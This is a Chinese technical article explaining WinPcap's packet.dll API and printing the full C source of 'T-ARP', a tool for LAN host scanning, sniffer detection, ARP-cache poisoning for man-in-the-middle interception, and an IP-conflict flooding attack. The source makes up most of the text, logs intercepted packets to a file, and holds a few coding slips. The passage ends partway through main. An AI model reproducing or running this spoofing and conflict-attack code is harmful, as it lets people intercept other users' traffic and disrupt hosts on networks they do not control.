详谈调用winpcap驱动写arp多功能工具

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一)winpcap驱动简介
    winpcap(windows packet capture)是windows平台下一个免费,公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它提供了以下的各项功能:
    1> 捕获原始数据报,包括在共享网络上各主机发送/接收的以及相互之间交换的数据报;
    2> 在数据报发往应用程序之前,按照自定义的规则将某些特殊的数据报过滤掉;
    3> 在网络上发送原始的数据报;
    4> 收集网络通信过程中的统计信息。

    winpcap的主要功能在于独立于主机协议(如TCP-IP)而发送和接收原始数据报。也就是说,winpcap不能阻塞,过滤或控制其他应用程序数据报的发收,它仅仅只是监听共享网络上传送的数据报。因此,它不能用于QoS调度程序或个人防火墙。

    目前,winpcap开发的主要对象是windows NT/2000/XP,这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me,并且M$也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似,只是在某些实现上有点差异,比如说9x只支持ANSI编码,而NT系统则提倡使用Unicode编码。

    本文讨论的是packet.dll所提供的各种函数,因为它们完全可以实现本文所希望的各项要求。但是如果你有其他特别的或更高级的要求,winpcap也提供了另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供了一种更简单,直接,有力的方法来更好的利用编程环境。比如捕获一个数据报,创建一个数据报过滤装置或将监听到的数据报转存到某个文件等,wpcap.dll都会为你提供更加安全的实现方法。

二)Packet.dll相关数据结构及函数  
    本文的目的之一在于介绍如何利用winpcap驱动写ARP工具,因此有必要介绍一些相关的数据结构和函数,要不然看着一行行代码和函数,也许会有些不知所云。

    首先介绍一些相关的数据结构:
      1. typedef struct _ADAPTER  ADAPTER  //描述一个网络适配器;
      2. typedef struct _PACKET PACKET     //描述一组网络数据报的结构;
      3. typedef struct NetType NetType    //描述网络类型的数据结构;
      4. typedef struct npf_if_addr npf_if_addr  //描述一个网络适配器的ip地址;
      5. struct bpf_hdr   //数据报头部;
      6. struct bpf_stat  //当前捕获数据报的统计信息。

    下面,将介绍T-ARP用到的各个函数,他们都是在packet.dll中定义的:
    1>  LPPACKET PacketAllocatePacket(void)
        如果运行成功,返回一个_PACKET结构的指针,否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数,接收来自驱动的网络数据报。

    2>  VOID PacketCloseAdapter(LPADAPTER lpAdapter)
        关闭参数中提供的网络适配器,释放相关的ADAPTER结构。

    3>  VOID PacketFreePacket(LPPACKET lpPacket)
        释放参数提供的_PACKET结构。

    4>  BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)
        返回可以得到的网络适配器列表及描述。

    5>  BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)
        返回某个网络适配器的全面地址信息。
        其中npf_ip_addr结构包含:IPAddress,SubnetMask,Broadcast
        IPAddress: ip地址
        SubnetMask: 子网掩码
        Broadcast: 广播地址

    6>  BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)
        返回某个网络适配器的MAC类型。
        NetType结构里包含了LinkSpeed(速度)和LinkType(类型)。其中LinkType包含以下几种情况:
          NdisMedium802_3: Ethernet(802.3)
          NdisMediumWan: WAN
          NdisMedium802_5: Token Ring(802.5)
          NdisMediumFddi: FDDI
          NdisMediumAtm: ATM
          NdisMediumArcnet878_2: ARCNET(878.2)

    7>  BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)
        返回几个关于当前捕获报告的统计信息。
        其中bpf_stat结构包含:bs_recv, bs_drop,ps_ifdrop,bs_capt
          bs_recv: 从网络适配器开始捕获数据报开始所接收到的所有数据报的数目,包括丢失的数据报;
          bs_drop: 丢失的数据报数目。在驱动缓冲区已经满时,就会发生数据报丢失的情况。

    8>  PCHAR PacketGetVersion()
        返回关于dll的版本信息。

    9>  VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)
        初始化一个_PACKET结构。

    10> LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)
        打开一个网络适配器。

    11> BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)
        从NPF驱动程序读取网络数据报及统计信息。
        数据报编码结构: |bpf_hdr|data|Padding|bpf_hdr|data|Padding|

    12> BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)
        发送一个或多个数据报的副本。

    13> BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)
        设置捕获数据报的内核级缓冲区大小。

    14> BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)
        为接收到的数据报设置硬件过滤规则。
        以下为一些典型的过滤规则:
          NDIS_PACKET_TYPE_PROMISCUOUS: 设置为混杂模式,接收所有流过的数据报;
          NDIS_PACKET_TYPE_DIRECTED: 只有目的地为本地主机网络适配器的数据报才会被接收;
          NDIS_PACKET_TYPE_BROADCAST: 只有广播数据报才会被接收;
          NDIS_PACKET_TYPE_MULTICAST: 只有与本地主机网络适配器相对应的多播数据报才会被接收;
          NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收;
          NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收。

    15> BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)
        设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数。

    16> BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)
        设置在接收到一个数据报后“休息”的时间。
    
    以上就是T-ARP所调用的各个函数,它包含了packet.dll里的大部分函数。如果你想更深层的了解winpcap,请访问相关网站,主页地址: http://winpcap.polito.it

三)T-ARP功能及原理介绍
    准备工作:  
      1. 安装winpcap驱动,目前最新的版本为winpcap_3.0_alpha, 稳定版本为winpcap_2.3;
      2. 使用ARP欺骗功能前,必须启动ip路由功能,修改(添加)注册表选项:
      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1 

    选项:  
      -m  主机扫描,获得局域网内指定ip段中存活主机的ip地址和mac地址;
      -a  反嗅探扫描,获得局域网内指定ip段中嗅探主机的ip地址和mac地址;
      -s  ARP欺骗,欺骗局域网内指定的两台主机,使其相互发送接收的数据报均通过本地主机;
          网络嗅探,如果你选择欺骗的两台主机均是本地主机,那么将会监听到所有流过本地主机的数据报;
          IP冲突,如果你选择欺骗的两台主机是同一台非本地主机,那么就会发起ip冲突攻击;
      -r  重置被欺骗主机,使被欺骗的两台主机恢复正常的工作状态。

    原理及实现过程:
      无论什么选项,第一件事就是获得本地主机的mac地址及相关网络设置。我们以一个特殊的ip地址(112.112.112.112)向本地主机发送一个ARP Request(ARP请求)数据报,当本地主机接收到后,就会发送一个ARP Reply(ARP应答)数据报来回应请求,这样我们就可以获得本地主机的mac地址了。至于相关的网络设置可以通过PacketGetNetInfoEx()和PacketGetNetType()获得。

      -m  以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送广播(ff:ff:ff:ff:ff:ff)ARP Request数据报,存活的主机就会发送ARP Reply数据报,这样就可以获得当前存活主机的列表。因为在很多网关上都对ARP Request做了限制--非内网ip发送的ARP Request数据报不会得到网关的回应,如果你用内网的其他某台主机的ip来发送ARP Request数据报,如果填写的mac地址和相应的ip不合,就会出现ip冲突。所以最好还是用自己的ip和mac地址来发送请求。

      -a  以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:ff:ff:ff:ff:fe)的ARP Request数据报,只有正在嗅探的主机才会发送ARP Reply数据报,这样就可以获得当前存活主机的列表。嗅探中的win2000系统还会对16位伪广播地址(ff:ff:00:00:00:00)做出回应;而嗅探中的win95/98/me不仅会回应16位伪广播地址,而且也会回应8位伪广播地址(ff:00:00:00:00:00),而*NIX系统对各种广播地址所做出的反应却有些不同。在此我们选择31位伪广播地址,是因为绝大多数的系统在嗅探时都会对它做出回应。而正常状况下的各种系统,都不会对31位伪广播地址做出回应。

      -s (ARP欺骗spoof) 需要强调的是在某些局域网(如以太网)内,数据报的发送与接收是基于硬件地址的,这是我们实现欺骗的基础。首先获得指定的两台主机(假设为 A 和 B)的mac地址,然后向A发送ARP Reply数据报,其中的源ip地址为B的ip地址,但是源mac地址却是本地主机的mac地址,这样主机A就会认为主机B的mac地址是本地主机的mac地址,所以主机A发送到主机B的数据报都发送到本地主机了。同理向主机B发送ARP Reply数据报,通知它主机A的mac地址为本地主机的mac地址。这样主机A和主机B就会把目的主机的mac地址理解为本地主机的mac地址,于是他们之间相互发送的数据报都首先到达了本地主机,而先前我们已经将本地主机设置了ip路由功能,系统会自动将数据报转发到真正的目的主机。其间,你就可以监听它们通信的各种数据报了。

      -s (网络嗅探sniff) 如果指定的两个目的主机均为本地主机,那么就只是将网络适配器设置为混杂模式,这样就可以监听到流过本地主机网络适配器的各种数据。

      -s (ip冲突shock) 如果你选择欺骗的两台主机是同一台非本地主机(假如是主机C),那么就会不断地向主机C发送ARP Reply数据报,报文中的源ip地址就是主机C的ip地址,但是源mac地址却是本地主机的mac地址,因此主机C就会发现有另一台主机同时拥有和自己相同的ip,这就是ip冲突攻击。如果是非xp系统,都会跳出一个ip冲突的提示窗口,而xp系统也会有类似的警告。但是请注意,在主机C的系统事件查看器中,会留下本地主机的mac地址与之冲突的恶心记录,所以你最好不要滥用这个功能。

      -r  在实现了ARP欺骗的情况下,向主机A和B发送ARP Reply数据报,通知主机A(B)注意主机B(A)的mac地址为主机B(A)自己的mac地址,这样主机A和B就会更新他们的ARP缓存,实现正常的数据通信。
      
四)T-ARP主要代码分析
    1> 自定义函数:
      int getmine()    //发送ARP Request数据报,请求获得本地主机的mac地址;
      void getdata(LPPACKET lp,int op)  //分类处理接收到的数据报;
      DWORD WINAPI sniff(LPVOID no)     //将网络适配器设置为混杂模式,接收所有流过的数据报;
      DWORD WINAPI sendMASR(LPVOID no)  //发送ARP Request数据报,请求获得指定ip的mac地址;
      DWORD WINAPI sendSR(LPVOID no)    //发送ARP Reply进行ARP欺骗,或是更新主机的ARP缓存。

    2> 主要代码分析
      printf("\nLibarary Version: %s",PacketGetVersion());  //输出dll的版本信息;

      PacketGetAdapterNames((char *)adaptername,&adapterlength)  //获得本地主机的网络适配器列表和描述;

      lpadapter=PacketOpenAdapter(adapterlist[open-1]);  //打开指定的网络适配器;

      PacketGetNetType(lpadapter,&ntype)  //获得网络适配器的MAC类型;

      PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen)  //获得指定网络适配器的相关信息;

      rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);  //创建一个新线程来监听网络数据报;

      PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)  //将网络适配器设置为混杂模式,这样才可以监听流过本地主机的数据报;
      PacketSetBuff(lpadapter,500*1024)  //自定义网络适配器的内核缓的大小为 500*1024;

      PacketSetReadTimeout(lpadapter,1)  //设置接收一个数据报后等待的时间为1毫秒;

      PacketReceivePacket(lpadapter,lppacketr,TRUE)  //在设置为混杂模式后,接收所有的数据报;

      sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
      sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);  //创建一个新线程发送特定的ARP数据报

      PacketSetNumWrites(lpadapter,2)  //在发送一个数据报时,重复发送两次;

      PacketSendPacket(lpadapter,lppackets,TRUE)  //发送自定义数据报;
      
      WaitForSingleObject(sthread,INFINITE);  //等待发送ARP数据报的线程结束;

      PacketGetStats(lpadapter,&stat)  //获得网络适配器的统计信息;

五) T-ARP源代码

#include <packet32.h>
#include <ntddndis.h>
#include <stdio.h>
#include <conio.h>

#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")

#define ETH_IP       0x0800
#define ETH_ARP      0x0806
#define ARP_REQUEST  0x0001
#define ARP_REPLY    0x0002
#define ARP_HARDWARE 0x0001
#define max_num_adapter  10

#pragma pack(push,1)

typedef struct ethdr
{
    unsigned char   eh_dst[6];
    unsigned char   eh_src[6];
    unsigned short  eh_type;
}ETHDR,*PETHDR;

typedef struct arphdr
{
    unsigned short  arp_hdr;
    unsigned short  arp_pro;
    unsigned char   arp_hln;
    unsigned char   arp_pln;
    unsigned short  arp_opt;
    unsigned char   arp_sha[6];
    unsigned long   arp_spa;
    unsigned char   arp_tha[6];
    unsigned long   arp_tpa;
}ARPHDR,*PARPHDR;

typedef struct iphdr
{
    unsigned char  h_lenver;
    unsigned char  tos;
    unsigned short total_len;
    unsigned short ident;
    unsigned short frag_and_flags;
    unsigned char  ttl;
    unsigned char  proto;
    unsigned short checksum;
    unsigned int   sourceip;
    unsigned int   destip;
}IPHDR,*PIPHDR;

#pragma pack(push)

LPADAPTER lpadapter=0;
LPPACKET  lppacketr,lppackets;
ULONG     myip,firstip,secondip;
UCHAR     mmac[6]={0},fmac[6]={0},smac[6]={0};
BOOL      mm=FALSE,fm=FALSE,sm=FALSE;
FILE      *fp;
char      adapterlist[max_num_adapter][1024];
char      msg[50];
int       num=0;

void start()
{
    printf("T-ARP --- ARP Tools, by TOo2y(ò1é?), 11-9-2002\n");
    printf("Homepage: www.safechina.net\n");
    printf("E-mail: [email protected]\n");
    return ;
}

void usage()
{
    printf("\nUsage: T-ARP  [-m|-a|-s|-r]  firstip  secondip  \n\n");
    printf("Option:\n");
    printf("   -m  mac        Get the mac address from firstip to secondip\n");
    printf("   -a  antisniff  Get the sniffing host from firstip to secondip\n");
    printf("   -s  spoof      1> Spoof the host between firstip and secondip\n");
    printf("       sniff      2> Sniff if firstip == secondip == your own ip\n");
    printf("       shock      3> Shock if firstip == secondip != your own ip\n");
    printf("   -r  reset      Reset the spoofed host work normally\n\n");
    printf("Attention:\n");
    printf("    1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");
    printf("    2> HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter==0x1\n\n");
    return ;
}

int getmine()
{
    char   sendbuf[1024];
    int    k;
    ETHDR  eth;
    ARPHDR arp;

    for(k=0;k<6;k++)
    {
        eth.eh_dst[k]=0xff;
        eth.eh_src[k]=0x82;
        arp.arp_sha[k]=0x82;
        arp.arp_tha[k]=0x00;
    }
    eth.eh_type=htons(ETH_ARP);
    arp.arp_hdr=htons(ARP_HARDWARE);
    arp.arp_pro=htons(ETH_IP);
    arp.arp_hln=6;
    arp.arp_pln=4;
    arp.arp_opt=htons(ARP_REQUEST);
    arp.arp_tpa=htonl(myip);
    arp.arp_spa=inet_addr("112.112.112.112");

    memset(sendbuf,0,sizeof(sendbuf));
    memcpy(sendbuf,&eth;,sizeof(eth));
    memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

    PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
    if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
    {
        printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
        return -1;            
    }
    return 0;
}

void getdata(LPPACKET lp,int op)
{
    ULONG  ulbytesreceived,off,tlen,ulen,ulLines;
    ULONG  j,k;
    ETHDR  *eth;
    ARPHDR *arp;
    PIPHDR ip;
    char   *buf,*pChar,*pLine,*base;
    struct bpf_hdr      *hdr;
    struct sockaddr_in  sin;


    ulbytesreceived=lp->ulBytesReceived;
    buf=(char *)lp->Buffer;

    off=0;
    while(off<ulbytesreceived)
    {
        if(kbhit())
        {
            return ;
        }
        hdr=(struct bpf_hdr *)(buf+off);
        off+=hdr->bh_hdrlen;

        pChar=(char *)(buf+off);
        base=pChar;
        off=Packet_WORDALIGN(off+hdr->bh_caplen);

        eth=(PETHDR)pChar;                
        arp=(PARPHDR)(pChar+sizeof(ETHDR));

        if(eth->eh_type==htons(ETH_IP))
        {
                    ip=(PIPHDR)(pChar+sizeof(ETHDR));

            if(fm && sm && (op==3))  
            {  
                if((((ip->sourceip!=htonl(myip)) && (ip->destip!=htonl(myip))
                                && !strcmp((char *)eth->eh_dst,(char *)mmac))
                && ((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip))
                || (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip))))
                                || ((firstip==myip) && (secondip==myip)))
                {
                    memset(msg,0,sizeof(msg));

                    sin.sin_addr.s_addr=ip->sourceip;                
                    printf("[IP:]%16s ---> [IP:]",inet_ntoa(sin.sin_addr));

                                        strcpy(msg,inet_ntoa(sin.sin_addr));
                    strcat(msg+15," ---> ");

                    sin.sin_addr.s_addr=ip->destip;
                    printf("%16s\n",inet_ntoa(sin.sin_addr));
                  
                    strcat(msg+23,inet_ntoa(sin.sin_addr));
                    fseek(fp,-2,1);
                    fwrite("\r\n\r\n\r\n",6,1,fp);
                    fwrite(msg,38,1,fp);
                    fwrite("\r\n",2,1,fp);

                    ulLines=(hdr->bh_caplen+15)/16;
                    for(k=0;k<ulLines;k++)
                    {
                        pLine=pChar;
                        printf("%08lx : ",pChar-base);

                        ulen=tlen;
                        ulen=(ulen>16) ? 16 : ulen;
                        tlen-=ulen;

                        for(j=0;j<ulen;j++)
                            printf("%02x ",*(BYTE *)pChar++);

                        if(ulen<16)
                            printf("%*s",(16-ulen)*3," ");

                        pChar=pLine;

                        for(j=0;j<ulen;j++,pChar++)
                        {
                            printf("%c",isprint(*pChar)? *pChar : '.');
                            fputc(isprint(*pChar) ? *pChar : '.',fp);
                        }
                        printf("\n");
                    }
                    printf("\n");
                                        fwrite("\r\n",2,1,fp);  
                }

            }
            continue;
        }
                else if((eth->eh_type==htons(ETH_ARP)) && (arp->arp_opt==htons(ARP_REPLY)))  
        {
            sin.sin_addr.s_addr=arp->arp_spa;

             if(sin.sin_addr.s_addr==htonl(myip))
        {
            memcpy(mmac,eth->eh_src,6);
        if(!mm)
             {
            printf("\t");    
                     for(k=0;k<5;k++)
                        printf("%.2x-",eth->eh_src[k]);
                  printf("%.2x\n",eth->eh_src[5]);

                    switch(op)
            {
                    case 1:
                         printf("\n[MAC LIST:]");
                        break;
                     case 2:
                        printf("\n[Sniffing Host:]");    
                         break;
                      default:                    
                         break;
            }
        }
            mm=TRUE;
        }

             if((op==1) || (op==2))
            {
                printf("\n[IP:] %.16s  [MAC:] ",inet_ntoa(sin.sin_addr));
                for(k=0;k<5;k++)
                    printf("%.2x-",eth->eh_src[k]);
                printf("%.2x",eth->eh_src[5]);
        }
               else if(((op==3) || (op==4)) && (!fm || !sm))
        {
                if(arp->arp_spa==htonl(firstip))
            {
                    memcpy(fmac,eth->eh_src,6);
                    fm=TRUE;
            }
                
            if(arp->arp_spa==htonl(secondip))
            {
                    memcpy(smac,eth->eh_src,6);
                    sm=TRUE;
            }
        }
    }
    }
    return ;
}
            
DWORD WINAPI sniff(LPVOID no)
{
    int      option=*(int *)no;
    char     recvbuf[1024*250];

    if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
    {
        printf("Warning: Unable to set the adapter to promiscuous mode\n");
    }

    if(PacketSetBuff(lpadapter,500*1024)==FALSE)
    {
        printf("PacketSetBuff Error: %d\n",GetLastError());
        return -1;
    }

    if(PacketSetReadTimeout(lpadapter,1)==FALSE)
    {
        printf("Warning: Unable to set the timeout\n");
    }

    if((lppacketr=PacketAllocatePacket())==FALSE)
    {
        printf("PacketAllocatePacket receive Error: %d\n",GetLastError());
        return -1;
    }

    PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));

    while(!kbhit())
    {
        if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
        {
            if(GetLastError()==6)
                return 0;
                        printf("PacketReceivePacket Error: %d\n",GetLastError());
                    return -1;
        }
        getdata(lppacketr,option);
    }
    return 0;
}

DWORD WINAPI sendMASR(LPVOID no)
{
    int    fun=*(int *)no;
    int    k,stimes;
        char   sendbuf[1024];
    ETHDR  eth;
    ARPHDR arp;

    if(fun<1 || fun>4)
    {
        return -1;
    }
    else
    {
        for(k=0;k<6;k++)
        {
            eth.eh_dst[k]=0xff;
            arp.arp_tha[k]=0x00;
        }
        if(fun==2)
            eth.eh_dst[5]=0xfe;
    }

    memcpy(eth.eh_src,mmac,6);
    eth.eh_type=htons(ETH_ARP);

    arp.arp_hdr=htons(ARP_HARDWARE);
    arp.arp_pro=htons(ETH_IP);
    arp.arp_hln=6;
    arp.arp_pln=4;
    arp.arp_opt=htons(ARP_REQUEST);
    arp.arp_spa=htonl(myip);
    memcpy(arp.arp_sha,mmac,6);

    if(fun==1 || fun==2)
        stimes=1;
    else if(fun==3 || fun==4)
        stimes=2;

    for(k=0;k<stimes;k++)
    {
        if(stimes==1)
        {
            arp.arp_tpa=htonl(firstip+(num++));
        }
        else if(stimes==2)
        {
            switch(k)
            {
            case 0:
                arp.arp_tpa=htonl(firstip);
                break;
            case 1:
                arp.arp_tpa=htonl(secondip);
                break;
            default:
                break;
            }
        }

        memset(sendbuf,0,sizeof(sendbuf));
        memcpy(sendbuf,&eth;,sizeof(eth));
        memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
        {
            printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());
            return -1;
        }
    }
    return 0;
}
        
DWORD WINAPI sendSR(LPVOID no)
{
    int     fun=*(int *)no;
    int     j,k;
    char    sendbuf[1024];
    struct  sockaddr_in  fsin,ssin;
    BOOL    stimes=FALSE;
    ETHDR   eth;
    ARPHDR  arp;

    fsin.sin_addr.s_addr=htonl(firstip);
    ssin.sin_addr.s_addr=htonl(secondip);

    eth.eh_type=htons(ETH_ARP);
    arp.arp_hdr=htons(ARP_HARDWARE);
    arp.arp_pro=htons(ETH_IP);
    arp.arp_hln=6;
    arp.arp_pln=4;
       arp.arp_opt=htons(ARP_REPLY);      

    if(fun==3)
    {
        if(mm)
        {
            if((firstip==myip) && (secondip==myip))
            {
                        fm=TRUE;
                     sm=TRUE;

                memcpy(fmac,mmac,6);
                memcpy(smac,mmac,6);
            }
            else if(!fm || !sm)
            {
                printf("\nNot get enough data\n");
                return -1;
            }

            for(j=0;j<2;j++)
            {
                if(j==0)
                {
                    printf("\nSpoofing %.16s :  ",inet_ntoa(fsin.sin_addr));
                    printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));
                }
                else if(j==1)
                {
                    printf("Spoofing %.16s :  ",inet_ntoa(ssin.sin_addr));
                    printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));
                }
                                for(k=0;k<5;k++)
                        printf("%.2x-",mmac[k]);
                    printf("%.2x\n",mmac[5]);
            }
            printf("\ni will try to snoof ...\n\n");
                    stimes=TRUE;
        }
        else
        {
            printf("\nNot get enough data\n");
                return -1;
        }
    }
    else if(fun==4)
    {
        if(mm)
        {
            if((firstip==myip) && (secondip==myip))
            {
                        fm=TRUE;
                        sm=TRUE;

                         memcpy(fmac,mmac,6);
                      memcpy(smac,mmac,6);
            }
            else if(!fm || !sm)
            {
                              printf("\nNot get enough data\n");
                         return -1;
            }

            printf("\nReset %.16s :  ",inet_ntoa(fsin.sin_addr));
            printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));

                        for(k=0;k<5;k++)
                    printf("%.2x-",smac[k]);
                printf("%.2x\n",smac[5]);

            printf("Reset %.16s :  ",inet_ntoa(ssin.sin_addr));
            printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));

                        for(k=0;k<5;k++)
                    printf("%.2x-",fmac[k]);
                 printf("%.2x\n\n",fmac[5]);

                    stimes=FALSE;
        }
        else
        {
            printf("\nNot get enough data\n");
                return -1;
        }
    }
    else
        return -1;

    do
    {
        memcpy(eth.eh_dst,fmac,6);
        memcpy(arp.arp_tha,fmac,6);
        arp.arp_tpa=htonl(firstip);
        arp.arp_spa=htonl(secondip);

        if(!stimes)
        {
            memcpy(eth.eh_src,smac,6);
            memcpy(arp.arp_sha,smac,6);
        }
        else
        {
            memcpy(eth.eh_src,mmac,6);
            memcpy(arp.arp_sha,mmac,6);
        }

        memset(sendbuf,0,sizeof(sendbuf));
        memcpy(sendbuf,&eth;,sizeof(eth));
        memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));

            if(PacketSetNumWrites(lpadapter,2)==FALSE)
        {
               printf("Warning: Unable to send a packet 2 times\n");
        }

        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
        {
            printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());
            return -1;
        }
        Sleep(1000);  

        memcpy(eth.eh_dst,smac,6);
        memcpy(arp.arp_tha,smac,6);
        arp.arp_tpa=htonl(secondip);
        arp.arp_spa=htonl(firstip);

        if(!stimes)
        {
            memcpy(eth.eh_src,fmac,6);
            memcpy(arp.arp_sha,fmac,6);
        }
                else    
        {
            memcpy(eth.eh_src,mmac,6);
            memcpy(arp.arp_sha,mmac,6);
        }


        memset(sendbuf,0,sizeof(sendbuf));
        memcpy(sendbuf,&eth;,sizeof(eth));
        memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
        {
            printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());
            return -1;
        }
        Sleep(1000);
    }while(stimes);

    if(fun==4)
        printf("Reset Successfully");

    return 0;
}

int main(int argc,char *argv[])
{
    HANDLE   sthread,rthread;
    WCHAR    adaptername[8192];
    WCHAR    *name1,*name2;
    ULONG    adapterlength;
    DWORD    threadsid,threadrid;
    struct   NetType      ntype;
    struct   bpf_stat     stat;
    struct   sockaddr_in  sin;
    struct   npf_if_addr  ipbuff;
    int      adapternum=0,opti=0,open,i,total;
    long     npflen;

    system("cls.exe");
    start();

    if(argc!=4)
    {
        usage();
        getche();
        return -1;
    }
    else
    {
        if(!strcmp(argv[1],"-m"))
        {
            opti=1;
        }
        else if(!strcmp(argv[1],"-a"))
        {
            opti=2;
        }
        else if(!strcmp(argv[1],"-s"))
        {
             opti=3;

             if((fp=fopen("capture.txt","w+"))==NULL)
        {
                printf("Open capture.txt Error: %d\n");
                    return -1;
        }
                else
        {
                        fwrite("T-ARP Captrue Data",20,1,fp);
        }
        }
        else if(!strcmp(argv[1],"-r"))
        {
            opti=4;
        }
        else
        {
            usage();
            getche();
            return -1;
        }
    }


    firstip=ntohl(inet_addr(argv[2]));
    secondip=ntohl(inet_addr(argv[3]));
    total=secondip-firstip+1;

    printf("\nLibarary Version: %s",PacketGetVersion());

    adapterlength=sizeof(adaptername);

    if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
    {
        printf("PacketGetAdapterNames Error: %d\n",GetLastError());
        return -1;
    }
    
    name1=adaptername;
    name2=adaptername;
    i=0;

    while((*name1!='\0') || (*(name1-1)!='\0'))
    {
        if(*name1=='\0')
        {
            memcpy(adapterlist[i],name2,2*(name1-name2));
            name2=name1+1;
            i++;
        }
        name1++;
    }

    adapternum=i;
    printf("\nAdapters Installed:\n");
    for(i=0;i<adapternum;i++)
        wprintf(L"%d - %s\n",i+1,adapterlist[i]);

    do
    {
        printf("\nSelect the number of the adapter to open: ");
        scanf("%d",&open);
        if(open>=1 && open<=adapternum)
            break;        
    }while(open<1 || open>adapternum);

    lpadapter=PacketOpenAdapter(adapterlist[open-1]);

    if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
    {
        printf("PacketOpenAdapter Error: %d\n",GetLastError());
        return -1;
    }

    if(PacketGetNetType(lpadapter,&ntype))
    {
        printf("\n\t\t*** Host Information ***\n");
        printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);    
        printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);
    }

    npflen=sizeof(ipbuff);  
    if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))
    {
        sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);
        printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));

        sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);
        printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));

        sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);
        printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));
        myip=ntohl(sin.sin_addr.s_addr);

        printf("[MACAddress:]");
    }
    else
    {
        printf("\nNot get enough data\n");
        PacketFreePacket(lppackets);
        PacketCloseAdapter(lpadapter);
        return -1;
    }

    if((lppackets=PacketAllocatePacket())==FALSE)
    {
        printf("PacketAllocatePacket send Error: %d\n",GetLastError());
        return -1;
    }

    rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);
    Sleep(300);

    if(getmine())
    {
        PacketFreePacket(lppackets);
        PacketFreePacket(lppacketr);

        PacketCloseAdapter(lpadapter);
        return -1;
    }
    Sleep(300);

    if((opti==1) || (opti==2))
    {
        for(i=0;i<total;i++)
        {
            sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
            Sleep(30);
        }
        Sleep(1000);
    }
    else if((opti==3) || (opti==4))
    {
        sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
        Sleep(300);
        CloseHandle(sthread);

        sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);
    }

    WaitForSingleObject(sthread,INFINITE);
    CloseHandle(sthread);
    CloseHandle(rthread);

